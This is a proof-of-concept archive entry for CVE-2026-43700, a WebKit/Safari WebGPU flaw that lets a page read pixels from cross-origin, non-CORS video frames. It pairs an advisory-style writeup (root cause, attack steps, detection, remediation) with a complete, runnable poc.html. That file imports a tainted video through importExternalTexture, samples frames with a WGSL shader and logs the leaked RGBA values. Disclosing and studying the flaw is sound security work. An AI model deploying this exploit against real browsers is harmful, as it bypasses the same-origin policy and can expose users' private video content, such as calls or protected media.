PoC Archive PoC Archive
High CVE-2026-43700 unpatched

WebKit WebGPU `importExternalTexture` Cross-Origin Video Frame Leak (CVE-2026-43700)

by dem0ns · 2026-07-05

Severity
High
CVE
CVE-2026-43700
Category
web
Affected product
WebKit / Safari (GPUDevice.importExternalTexture WebGPU API)
Affected versions
Safari < 26.5.2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherdem0ns
CVE / AdvisoryCVE-2026-43700
Categoryweb
SeverityHigh
CVSS ScoreN/A (not published in source repository)
StatusPoC
Tagswebkit, safari, webgpu, cross-origin, information-disclosure, same-origin-policy-bypass, external-texture, video
RelatedN/A

Affected Target

FieldValue
Software / SystemWebKit / Safari (GPUDevice.importExternalTexture WebGPU API)
Versions AffectedSafari < 26.5.2
Language / PlatformHTML / JavaScript (WebGPU + WGSL shader)
Authentication RequiredNo
Network Access RequiredYes (victim must load an attacker-controlled page while an unrelated cross-origin video is reachable)

Summary

WebKit’s GPUDevice.importExternalTexture({ source: HTMLVideoElement }) imports the current frame of a <video> element as a GPU-sampleable GPUExternalTexture. Prior to the fix, WebKit did not check the video element’s taintsOrigin (cross-origin CORS-tainted) state before allowing the import, so a page could import frames from a cross-origin video loaded without CORS and read the pixel data back through a WGSL shader and copyTextureToBuffer + mapAsync, bypassing the same-origin policy that normally prevents pixel-level access to cross-origin media.


Vulnerability Details

Root Cause

GPUDevice::importExternalTexture did not call an origin-taint check (the eventual fix adds checkVideoElementOriginTaint) on either its cache-hit or newly-created code paths. As a result, a <video> element whose source is cross-origin and loaded without a crossorigin attribute (making it CORS-tainted / taintsOrigin == true) could still be imported as a GPUExternalTexture and sampled by a WGSL fragment shader, instead of the import throwing a SecurityError as required by the WebGPU spec for tainted media sources.

Attack Vector

  1. Attacker page loads a cross-origin video (e.g. hosted on a different origin, no crossorigin attribute → tainted) and plays it.
  2. Attacker page requests a WebGPU device/adapter and calls device.importExternalTexture({ source: video }) on the tainted video element.
  3. On vulnerable Safari builds this succeeds instead of throwing SecurityError.
  4. Attacker renders the external texture through a minimal WGSL shader that samples a single texel, copies the 1x1 render target to a mappable buffer via copyTextureToBuffer, and reads the RGBA bytes back into JavaScript via buffer.mapAsync(GPUMapMode.READ).
  5. Repeating this across requestVideoFrameCallback ticks lets the attacker page reconstruct changing pixel values from the cross-origin video over time, demonstrating genuine frame-level information leakage (not just a static/cached value).

Impact

Cross-origin information disclosure: an attacker web page can extract pixel content from a video hosted on another origin that the victim’s browser has access to (e.g. via cookies/session or simply being loaded), without CORS permission from that origin — a same-origin-policy bypass that could be used to exfiltrate visually-rendered sensitive content (e.g. video calls, protected media, canvas-rendered data piped through a video element).


Environment / Lab Setup

Target:   Safari / WebKit < 26.5.2 with WebGPU enabled
Attacker: Two separate web origins — one serving poc.html (attacker page),
          one serving a cross-origin video file loaded without CORS headers

Proof of Concept

PoC Script

See poc.html in this folder.

1
python3 -m http.server 8000

The page loads a cross-origin, non-CORS (tainted) video, calls device.importExternalTexture() on it, and if the call succeeds ([BYPASS]) samples 8 consecutive frames through a WGSL shader, printing the leaked RGBA values ([LEAK #n]) each time — a changing color sequence across frames (the source video cycles red/green/blue/white) proves genuine cross-origin pixel exfiltration. On patched builds (>= 26.5.2) the importExternalTexture call throws SecurityError and the script reports [PATCHED].


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected outbound requests correlating with decoded pixel values from a cross-origin video/canvas source.
  • Pages embedding cross-origin <video> elements without crossorigin/CORS while also using WebGPU external-texture APIs.

Remediation

ActionDetail
Primary fixUpdate Safari/WebKit to >= 26.5.2, which adds checkVideoElementOriginTaint to GPUDevice::importExternalTexture (fix commit 67b563b8, WebKit bug 315368)
Interim mitigationServe sensitive video content with proper CORS headers and avoid embedding untrusted third-party video sources on pages that grant WebGPU access; disable WebGPU where not needed

References


Notes

Mirrored from https://github.com/dem0ns/CVE-2026-43700 on 2026-07-05.

poc.html
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>CVE-2026-43700 PoC — WebGPU importExternalTexture cross-origin bypass</title>
<style>
  body { font: 14px -apple-system, sans-serif; margin: 16px; white-space: pre-wrap; }
  h1 { font-size: 18px; }
  .ok { color: #0a0; } .bad { color: #c00; } .dim { color: #888; }
  video { width: 120px; border: 1px solid #ccc; }
</style>
</head>
<body>
<h1>CVE-2026-43700 — WebGPU <code>importExternalTexture</code> cross-origin bypass</h1>
<div id="out"></div>
<video id="victim" muted playsinline></video>

<script>
const out = document.getElementById("out");
const log = (m, cls) => {
  const d = document.createElement("div");
  if (cls) d.className = cls;
  d.textContent = m;
  out.appendChild(d);
};
// Vercel: 视频来自 victim 项目 (不同 vercel.app 子域 = 跨域)。不带 crossorigin -> no-CORS -> tainted。
// 可用 ?v=<完整视频URL> 覆盖。
const VICTIM = new URLSearchParams(location.search).get("v") || "https://cve43700-victim.vercel.app/colorcycle.mp4";

// 把"当前视频帧"导入成 external texture, 用 shader 采样到 1x1 纹理, 再 copy 到 buffer 读回。
// 每次调用都是当前帧的快照, 所以连续帧调用能看到颜色变化。
let _pipeline = null, _sampler = null;
function sampleCurrentFrame(device, v) {
  const ext = device.importExternalTexture({ source: v }); // 当前帧快照

  if (!_pipeline) {
    const module = device.createShaderModule({ code: `
      @group(0) @binding(0) var et: texture_external;
      @group(0) @binding(1) var samp: sampler;
      @vertex fn vs(@builtin(vertex_index) i: u32) -> @builtin(position) vec4f {
        var p = array<vec2f, 3>(vec2f(-1.0, -1.0), vec2f(3.0, -1.0), vec2f(-1.0, 3.0));
        return vec4f(p[i], 0.0, 1.0);
      }
      @fragment fn fs() -> @location(0) vec4f {
        return textureSampleBaseClampToEdge(et, samp, vec2f(0.5, 0.5));
      }
    `});
    _pipeline = device.createRenderPipeline({
      layout: "auto",
      vertex: { module, entryPoint: "vs" },
      fragment: { module, entryPoint: "fs", targets: [{ format: "rgba8unorm" }] },
      primitive: { topology: "triangle-list" },
    });
    _sampler = device.createSampler({ magFilter: "nearest", minFilter: "nearest" });
  }

  const target = device.createTexture({
    size: [1, 1], format: "rgba8unorm",
    usage: GPUTextureUsage.RENDER_ATTACHMENT | GPUTextureUsage.COPY_SRC,
  });
  const buf = device.createBuffer({
    size: 256, // copyTextureToBuffer 的 bytesPerRow 必须 256 对齐
    usage: GPUBufferUsage.MAP_READ | GPUBufferUsage.COPY_DST,
  });
  const bind = device.createBindGroup({
    layout: _pipeline.getBindGroupLayout(0),
    entries: [{ binding: 0, resource: ext }, { binding: 1, resource: _sampler }],
  });

  const enc = device.createCommandEncoder();
  const pass = enc.beginRenderPass({
    colorAttachments: [{
      view: target.createView(),
      clearValue: { r: 0, g: 0, b: 0, a: 1 },
      loadOp: "clear", storeOp: "store",
    }],
  });
  pass.setPipeline(_pipeline);
  pass.setBindGroup(0, bind);
  pass.draw(3);
  pass.end();
  enc.copyTextureToBuffer(
    { texture: target },
    { buffer: buf, bytesPerRow: 256 },
    { width: 1, height: 1 }
  );
  device.queue.submit([enc.finish()]);

  return buf.mapAsync(GPUMapMode.READ).then(() => {
    const arr = new Uint8Array(buf.getMappedRange()).slice(0, 4);
    buf.unmap();
    target.destroy();
    return arr;
  });
}

function colorName(px) {
  const [r, g, b] = px;
  if (r > 200 && g > 200 && b > 200) return "白";
  if (r > 200 && g < 80 && b < 80) return "红";
  if (r < 80 && g > 200 && b < 80) return "绿";
  if (r < 80 && g < 80 && b > 200) return "蓝";
  return "?";
}

onload = async () => {
  log("UA: " + navigator.userAgent, "dim");
  log("page origin: " + location.origin, "dim");
  log("victim video origin: " + new URL(VICTIM).origin + "  (cross-origin, no crossorigin attr -> tainted)");

  if (!navigator.gpu) { log("navigator.gpu unavailable (enable WebGPU)", "bad"); return; }

  // 1. 加载跨域 tainted 视频
  const v = document.getElementById("victim");
  v.src = VICTIM; // 不带 crossorigin -> no-CORS -> taintsOrigin == true
  v.muted = true;
  try {
    await new Promise((res, rej) => {
      v.onloadeddata = () => { v.play().then(res).catch(rej); };
      v.onerror = rej;
    });
    await new Promise(r => v.requestVideoFrameCallback(r));
  } catch (e) { log("video load failed: " + e, "bad"); return; }
  log("cross-origin video loaded and playing (tainted)");

  // 2. 拿 WebGPU device
  const adapter = await navigator.gpu.requestAdapter();
  if (!adapter) { log("no adapter", "bad"); return; }
  const device = await adapter.requestDevice();

  // 3. 核心一步: importExternalTexture 对 tainted 视频
  //    漏洞版本 (< 26.5.2): 成功 -> bypass
  //    打补丁版本 (>= 26.5.2): 抛 SecurityError
  let ext;
  try {
    ext = device.importExternalTexture({ source: v });
    log("[BYPASS] importExternalTexture ALLOWED on a cross-origin tainted video", "bad");
  } catch (e) {
    log("[PATCHED] importExternalTexture blocked: " + e.name + " — " + e.message, "ok");
    log("==> 当前 Safari/WebKit 已修复 (>= 26.5.2), 不会再读出跨域像素, 所以没有 LEAK 数据是正常的", "ok");
    return;
  }

  // 4. 实际信息泄露: 跨多个视频帧连续采样, 打印一串 RGBA。
  //    机密视频逐帧 红/绿/蓝/白 循环, 读到颜色变化就证明拿到的是真实跨域视频帧。
  const N = 8;
  log(`[step] 开始连续 ${N} 帧采样 (视频逐帧 红/绿/蓝/白 循环)...`);
  const samples = [];
  for (let i = 0; i < N; i++) {
    await new Promise(r => v.requestVideoFrameCallback(r));
    try {
      const px = await sampleCurrentFrame(device, v);
      samples.push(px);
      log(`[LEAK #${i + 1}] RGBA = [${px[0]}, ${px[1]}, ${px[2]}, ${px[3]}]  -> ${colorName(px)}`, "bad");
    } catch (e) {
      log(`[LEAK #${i + 1}] 采样失败: ` + (e && e.message ? e.message : e), "dim");
    }
  }
  if (samples.length >= 2) {
    const names = samples.map(colorName).join(" -> ");
    log("==> 连续帧颜色序列: " + names, "bad");
    log("==> 出现多种颜色 = 确认读到的是真实变化的跨域视频帧 (信息泄露成立)", "bad");
  } else {
    log("==> [BYPASS] 已成立, 但采样帧不足; bypass 本身即证明漏洞", "dim");
  }
};
</script>
</body>
</html>